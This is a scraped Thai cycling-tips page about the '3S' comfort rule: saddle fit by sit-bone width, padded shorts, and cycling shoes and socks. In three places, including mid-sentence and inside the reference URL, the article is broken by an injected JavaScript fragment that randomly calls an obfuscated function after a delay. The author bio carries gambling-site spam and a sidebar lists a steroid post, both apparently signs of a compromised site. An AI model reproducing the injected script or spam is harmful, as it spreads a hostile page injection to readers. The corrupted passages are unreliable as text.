• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

กฏ 3S รู้ไว้เเล้วจะปั่นสบายขึ้น

kan by kan
29 April 2020
in Cycling Tips
0
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เวลานั่งบนอ่านแล้วรู้สึกสบายตัว (Comfortable) การวางตำแหน่งของร่างกาย อย่างเช่น ตำแหน่งลำตัว แขนที่ยื่นไปจบแฮนด์ ขาเอวสำหรับตำแหน่งปั่นบันไดจักรยาน ไม่ยืดหรือหดจนเกิดความไม่สบายตัว เป็นสิ่งสำคัญที่สุดที่จะทำให้เราสามารถปั่นจักรยานได้คล่องตัว ปั่นได้นานและเลี่ยงอาการบาดเจ็บ สำหรับใครที่กำลังมาหาจักรยานสักคันเพื่อออกกำลังกายหรือใครที่มีอยู่แล้ว แต่รู้สึกว่ายังรู้สึกไม่สบายตัวเวลาปั่น เรามีกฎ 3S ที่จะช่วยปรับปรุงให้เราปั่นจักรยานได้สบายตัวมากขึ้น

กฏ 3S รู้ไว้เเล้วจะปั่นสบายขึ้น

กฎ 3S ที่จะช่วยให้เราปั่นจักรยานได้สบายตัวมากขึ้น ย่อมาจาก… Saddle, Shorts, Shoes, & Socks แปลเป็นไทยได้ว่า เบาะนั่งหรืออานจักรยาน กางเกงปั่นจักรยาน และ ถุงเท้ากับรองเท้า

1. Saddle (เบาะ/อานนั่งจักรยาน)

เพราะเป็นบริเวณที่ก้นเราต้องนั่งอยู่เป็นเวลาหลายชั่วโมง และมวลน้ำหนักของผู้ปั่นส่วนมากจะถูกถ่ายลงมาที่อาน  ดังนั้นตัวอานก็ควรจะเป็นจุดแรกที่ต้องมีความฟิต (ระดับความนุ่ม องศา ลักษณะที่เข้ากับรูปก้น) เข้ากับจริตผู้ปั่น

เพราะบริเวณก้นนักปั่นมีส่วนที่ Sensitive อยู่มาก ดังนั้นการเลือกอานปั่นที่เหมาะสมกันจะช่วยให้ตัวผู้ปั่นสบายตัว มีความมั่นใจมากขึ้น ช่วยให้ปั่นได้นานขึ้น เร็วขึ้นและดึง Performance ออกมาได้ง่ายขึ้น

อานนั่งที่ดีต้องมีความนุ่มและกว้างหรือไม่….ตอบเลยว่าไม่เสมอไป ที่สำคัญเราต้องดูว่า อานนั่ง กว้างเหมาะกับส่วนที่เรียกว่า “sit bone width” เพราะเป็นส่วนที่นำหนักตัวถ่ายลงมามากที่สุด และพื้นที่ระหว่าง “sit bone width” ก็มีความไวต่อความรู้สึกและแรงกระแทกมาก

วิธีดูว่าขนาด “sit bone width” สามารถทำได้เองที่บ้าน โดยการตัดกระดาษลังมานั่งทับลงไปบนเก้าอี้แข็งๆ และรอยบุ๋มที่ลึกที่สุด ซึ่งจะมีสองจุด จะเป็นตัวกำหนดขนาด “sit bone width”ของเรา แนะนำว่าเวลาซื้ออานจักรยานให้บวกเข้าไปสัก 2 cm

kitesurfbikerambling

ถามว่าถ้าซื้อขนาดกว้างมาเลยได้หรือไม่…ตอบเลยว่าไม่ควร เพราะขนาดอานที่ใหญ่ จะมีจมูก หรือส่วนที่เรียกว่า Nose ใหญ่ตามมาด้วย เวลานั่งปั่นส่วนจมูกจะไปดันพื้นที่ระหว่าง “sit bone width” เกิดการเสียดสีกับการรับแรงกระแทกได้ง่ายขึ้นและมากขึ้น

ตัวอย่างการเลือกซื้อเบาะ สามารถดูได้ตามตัวอย่าง ซึ่งกีฬาแต่ละประเภทก็มีแบบที่แนะนำต่างกันไป การเลือกซื้อส่วนมากจะเป็นประเภท Trial andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and error ลองสักครั้งสองครั้ง ผู้ปั่นก็น่าจะเจอแบบที่ชอบ

www.njdsportsinjuries.co.uk

2. Short หรือกางเกงปั่นจักรยาน

เจ้าตัวกางเกงปั่นจักรยานจะมีความพิเศษอยู่ที่การมีเบาะฟองน้ำ โฟมหรือเจลรองรับบริเวณก้น ทำหน้าที่รองรับแรงกระแทกและการเสียดสี ยิ่งเวลาที่เราต้องนั่งปั่นจักรยานเป็นเวลานานแล้ว การมีโฟมหรือเจลรองรับแรงกระแทก จะช่วยลดอาการปวดเมื่อยลงได้

นอกจากการมีส่วนโฟมหรือเจลรับแรงกระแทกแล้ว กางเกงปั่นควรจะเข้ารูปเป็นเนื้อเดียวไปกับเอวและก้นของผู้ปั่น การผลิตด้วยเนื้อผ้ารัดรูป อย่างเนื้อผ้า Lycra จะช่วยเพิ่มความคล่องตัวและความสบายให้ผู้ปั่นมากขึ้น ด้วยเนื้อผ้ามีความยืดหยุ่นและระบายอากาศ ระบายเหงื่อได้ดีจะช่วยลดการเสียดสีและแรงต้านทานอากาศลง

3. Shore & Sock (รองเท้าและถุงเท้า)

รองเท้าเป็นส่วนที่ร่างกายเราถ่ายพลังงานลงสู่บันไดปั่น แน่นอนว่าการเลือกรองเท้าที่มีครีตล็อกเข้ากับบันไดปั่นจะเป็นตัวเลือกแรกๆ ในการส่งถ่ายและลดการสูญเสียพลังงานได้ดีที่สุด

การเลือกรองเท้าปั่นมี 3 จุดให้เลือกดู อย่างแรกคือ ลักษณะรูปทรงขนาดไซด์ของรองเท้า เหมาะกับลักษณะฝ่าเท้าเราหรือไม่ หลักการเลือกก็ไม่ต่างกันกับการเลือกรองเท้าวิ่ง การเลือกรองเท้าปั่นที่ใหญ่หลวมไปย่อมทำให้เกิดช่องว่าง เท้าเคลื่อนไปมาและการเสียดสี เกิดเป็นแผลผุผองได้ หรือหากเล็กไปก็จะกดบีบฝ่า มีอาการปวดเหน็บชา อาการเลือกรองเท้าไม่เหมาะสม นอกจากทำให้เกิดอาการบาดเจ็บแล้วยังทำให้พลังงานงานไม่สามารถถ่ายลงได้ 100% performance ของเราก็จะลดลง

จุดที่สองคือ ลักษณะวัสดุที่ใช้ผลิตทำรองเท้าและส่วนของ Upper body ลักษณะการล็อกห่อหุ้มรองฝ่าเท้ากับรองเท้า แบบผูกเชือก หรือคลิกล็อกและตีตะขาบที่นิยมในปัจจุบัน ผูกแล้วมีความฟิตเข้ากันดีหรือไม่ โดยรองเท้าปั่นก็จะแบ่งออกเป็น 2 กลุ่มหลักๆ คือ กลุ่มมือสมัครเล่น และกลุ่มรองเท้าสำหรับแข่งขัน

โดยกลุ่มมือสมัครเล่น รองเท้าจะมีลักษณะที่อ่อนนุ่มกว่า แต่ก็มีน้ำหนักมากกว่าเช่นกัน สามารถปรับแต่งความฟิตได้ระดับหนึ่ง แต่สำหรับรองเท้าแข่งขัน เราสามารถปรับแต่งรองเท้าให้เข้ากับฝ่ายเท้านักปั่นได้แทบร้อยเปอร์เซนต์ วัสดุที่ใช้ก็จะเป็นหนังแท้ หรือเนื้อผ้าเกรดสูงที่มีความเบาและระบายอากาศได้ดี ที่สำคัญรองเท้าแข่งขันมีฟีเจอร์พิเศษที่ทำให้ลู่ลมมากขึ้น

intheknowcycling.com

ส่วนที่สามคือ ความแข็งกระด้างหรือ stiffness ของรองเท้า ซึ่งรองเท้าสำหรับแข่งขัน พื้นนอกหรือส่วน outsole จะเป็นคาร์บอน ให้ความแข็งตัวสูง นั้นหมายความว่าแรงน้ำหนักที่ถ่ายลงไปจะส่งผ่านสู่บันไดปั่นได้เต็มที่ แต่ถ้าเป็นรองเท้าปั่นมือสมัครเล่นทั่วไปก็จะเป็นพื้นแบบ Nylon แข็งไม่มากนักแต่มีความยืดหยุ่นสูง มือใหม่ถ้าใส่รองเท้าแบบสำหรับแข็งขันจะมีอาการชาหรือเมื่อยฝ่าเท้าเกิดขึ้นได้เร็ว เพราะพื้นคาร์บอนมีการส่งคืนกลับแรงกระแทกได้ดี ด้วยเพราะมีความแข็งกระด่างสูง กล้ามเนื้อที่ยังไม่ได้รับการฝึกฝนจะเมื่อยล้าได้ง่ายและเร็ว ดังนั้นควรเริ่มจากรองเท้าธรรมดาที่มีความอ่อนโยน สามารถดูดซับแรงกระแทกได้ก็ เมื่อยฝึกได้ระดับหนึ่งก็ค่อยๆ พัฒนามาใส่รองเท้าสำหรับการแข่งขัน  

road.cc

ท้ายสุดคือเจ้าถุงเท้าที่จะช่วยเป็นตัวกลางช่วยรับแรงกระแทกบางส่วนและป้องกันการเสียดสีของเนื้อเท้ากับรองเท้า นักปั่นควรเลือกถุงเท้าปั่นจักรยาน ถุงเท้ากีฬาที่มีส่วนผสมของ nylon เป็นหลัก เพราะสามารถระบายอากาศได้ดี ยืดหยุ่นสูงกว่า Cotton ส่วนเจ้าถุงเท้าผ้า cotton เหมาะกับการใส่ทำงานหรือเดินไปมาในชีวิตประจำวันมากกว่า เพราะเวลาเปียกน้ำ จะอุ้มน้ำระบายอากาศไม่ดี กักความร้อนไว้สูงและเกิดการเสียดสีได้ง่าย ถุงเท้าก็ไม่ควรเลือกแบบ Ankle sock หรือถุงเท้าข้อสั้น เพราะจะทำให้เกิดการเสียดสีได้ง่าย หรือปั่นไปนานๆ ถุงเท้าจะลงไปกองที่ฝ่าเท้า เป็นต้น

อ้างอิง andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaluciancyclingexperience.com/2018/05/30/The-3-Ss-of-Cycling/?fbclid=IwAR1WW788HlQRIce5Dulk8JwTvdXHTE150SXqdPKEoP5e4yhWOh5PmOtAlZ8″>www.andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaluciancyclingexperience.com

จำหน่ายอุปกรณ์จักรยานราคาถูก คลิกที่นี่

ShareTweetShare
kan

kan

slot demositus totoserver thailand

Related Posts

! Без рубрики

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
News

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

    0 shares
    Share 0 Tweet 0
  • วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • มารู้จัก”มัดกล้ามเนื้อที่ใช้ปั่นจักรยาน”กัน

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0

ทดสอบ

ทดสอบ

StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

Sustanon 250 steroid: tutto cio che devi sapere

23 August 2023
“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

“ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

3 May 2023
บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022

Browse by Category

  • ! Без рубрики
  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.